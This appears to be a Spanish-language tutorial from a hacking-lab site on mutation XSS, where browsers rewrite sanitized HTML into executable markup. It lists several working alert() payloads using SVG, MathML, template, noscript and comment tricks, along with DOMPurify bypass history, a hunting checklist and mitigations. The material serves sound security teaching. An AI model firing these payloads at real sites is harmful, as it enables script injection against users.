Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoCon cuenta

Mutation XSS — cuando el HTML cambia entre sanitizar y renderizar

El sanitizer ve A pero el browser renderiza B. SVG namespace tricks, comments mal cerrados, MathML, template element. Cómo encontrar mXSS contra DOMPurify y sanitizers caseros.

Gorka El Bochi9 de mayo de 202614 min

Respuesta rápida

Mutation XSS (mXSS) sucede cuando el HTML pasa por sanitizer + browser parser y el browser muta el HTML después de la sanitización, transformando un payload "limpio" en uno ejecutable. Vectores actuales: SVG con foreignObject, namespace switching, comments mal cerrados, MathML interfering con noscript/style, template tags. Defensa más robusta: sanitizar después de la mutación, no antes.


El concepto

Sanitizer:

javascript
Input:  <svg><p title="</title><img src=x onerror=alert(1)>"></p></svg>
Sanitized: <svg><p title="</title><img src=x onerror=alert(1)>"></p></svg>

El sanitizer no ve nada peligroso (solo un atributo title con string). Pero al insertar en el DOM:

javascript
element.innerHTML = sanitized;

El browser re-parsea. En algunos contextos (SVG vs HTML namespace), el parser interpreta el </title> como cierre real, escupe el <img> y ejecuta onerror.


Vectores históricos

1. SVG namespace switch

html
<svg><p title="</title><img src=x onerror=alert(1)>"></p></svg>

En contexto SVG, <title> es CDATA-mode. El sanitizer lo pasa porque "está dentro de SVG". Al insertarlo en HTML, el browser cambia de SVG a HTML namespace al cerrar </title> y procesa <img> como tag HTML normal.

2. SVG con foreignObject

html
<svg><foreignObject><iframe src=javascript:alert(1)></iframe></foreignObject></svg>

foreignObject permite contenido HTML dentro de SVG. Algunos sanitizers permiten SVG pero no detectan que foreignObject reactiva HTML.

3. Comments mal cerrados

html
<!--><img src=x onerror=alert(1)>-->

Un comment válido es <!-- ... -->. Pero <!--> es comment vacío seguido de HTML normal. Sanitizers que parsean strict comments fallan con esta variante.

4. MathML

html
<math><mi xlink:href="data:x,<script>alert(1)</script>">click</mi></math>

MathML soporta xlink:href. Pero al renderizarlo, el browser puede interpretar el data: como script. Sanitizers viejos (pre-2020) no contemplaban MathML.

5. Template element

html
<template><script>alert(1)</script></template>

<template> el contenido no se ejecuta inmediatamente. Pero al moverlo al DOM con appendChild(template.content), sí.

Si el sanitizer permite template, atacante mete payload, luego trigger en otro evento mueve content al DOM activo.

6. noscript con script dentro

html
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<noscript> se interpreta diferente según Content-Type del documento. En application/xml vs text/html, el parser cambia. Sanitizers de un contexto pueden fallar al insertarse en otro.

7. STYLE element transition

html
<style><img src=x onerror=alert(1)></style>

Dentro de <style>, todo es CSS. Pero si el browser cambia el contexto (encontrando </style> o algo que rompe el parser), puede emitir el <img> al DOM.


DOMPurify y sus históricos bypasses

DOMPurify es el sanitizer estándar de facto. Tiene un track record de patches de mXSS:

  • 2020 (CVE-2020-26870): SVG via attributes namespace.
  • 2020: nested comments + foreignObject.
  • 2021: HTML/SVG namespace switching via specific tags.
  • 2022: prototype pollution via __proto__ keys.
  • 2023: edge cases con MathML annotation-xml.
  • 2024: template element con noscript dentro.
  • 2025: namespace tricks con svg + table interaction.

Mantener DOMPurify actualizado es crítico. Versions sub-2.4.x tienen mXSS conocidos.


Cómo se busca mXSS

1. Diff entre input y output post-render

javascript
const input = '<svg><p title="</title><img src=x>"></p></svg>';
const sanitized = DOMPurify.sanitize(input);
console.log("Sanitized:", sanitized);

const div = document.createElement('div');
div.innerHTML = sanitized;
console.log("Post-render:", div.innerHTML);

Si el Post-render es diferente del Sanitized, hay mutación. Si la mutación introduce tags ejecutables (img, script, iframe), mXSS.

2. Fuzzing de combinaciones

Generar combinaciones <container><inner>...payload...</inner></container> con todos los containers posibles (svg, math, table, noscript, template, style) y ver cuál muta.

3. Manual testing en context específicos

El context donde se inserta el HTML afecta la mutación:

  • <div> → HTML normal.
  • <svg> → SVG namespace.
  • <table> → table parser tiene reglas extra (foster parenting).
  • <select> → solo permite option como child.

Siempre prueba el sanitizer en el mismo context donde el output se va a insertar.


Caso real (anonymizado)

Un sanitizer permitía SVGs con namespace adecuado. Atacante combina:

html
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
  <a href="javascript:alert(document.domain)">
    <text x="50" y="50" text-anchor="middle">click me</text>
  </a>
</svg>

El sanitizer permitía SVG y <a href="javascript:"> no era detectado porque la lógica solo bloqueaba javascript: en <a> HTML, no en SVG <a>.

Render inline en el DOM principal → ejecuta javascript: con un click. Stored XSS si el SVG se almacena en chat/comments.

(Detalle completo en el artículo "Stored XSS via SVG href javascript en chat" de la Academy.)


Mitigación correcta

  1. Sanitizer maintained y actualizado (DOMPurify, no rolls custom).
  2. Sanitizar en el context final. No serializar y deserializar entre sanitizer y render.
  3. CSP fuerte como segunda línea: script-src 'self' + 'strict-dynamic'. Aunque mXSS pase, sin scripts inline el impacto es nulo.
  4. Trusted Types API: fuerza pasar el HTML por una policy.createHTML(...) antes de poder usar innerHTML. Difícil bypass.
  5. No SVG/MathML/Template salvo que sea estrictamente necesario. Whitelist de tags reducida.
  6. Re-render en sandbox (iframe sandboxed) si el HTML viene de user input crítico.

Hunting checklist

  • ¿La app permite HTML user-input (rich text editor, markdown rendering, comments con HTML)?
  • ¿Sanitizer es DOMPurify? ¿Versión? Buscar CVEs.
  • ¿Permite SVG, MathML, foreignObject, template, noscript?
  • ¿Qué pasa con <svg><p title="</title><img>"></p></svg>?
  • ¿Qué pasa con namespace tricks (HTML dentro de SVG y viceversa)?
  • ¿Hay sanitizer custom rolled (en lugar de DOMPurify)? Casi siempre vulnerable.
  • ¿El context del insert es siempre HTML, o a veces SVG / table / select?

Labs relacionados

Practica mXSS contra DOMPurify versions vulnerables y sanitizers custom: labs de Mutation XSS.

Practica esto en un lab

Xss

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados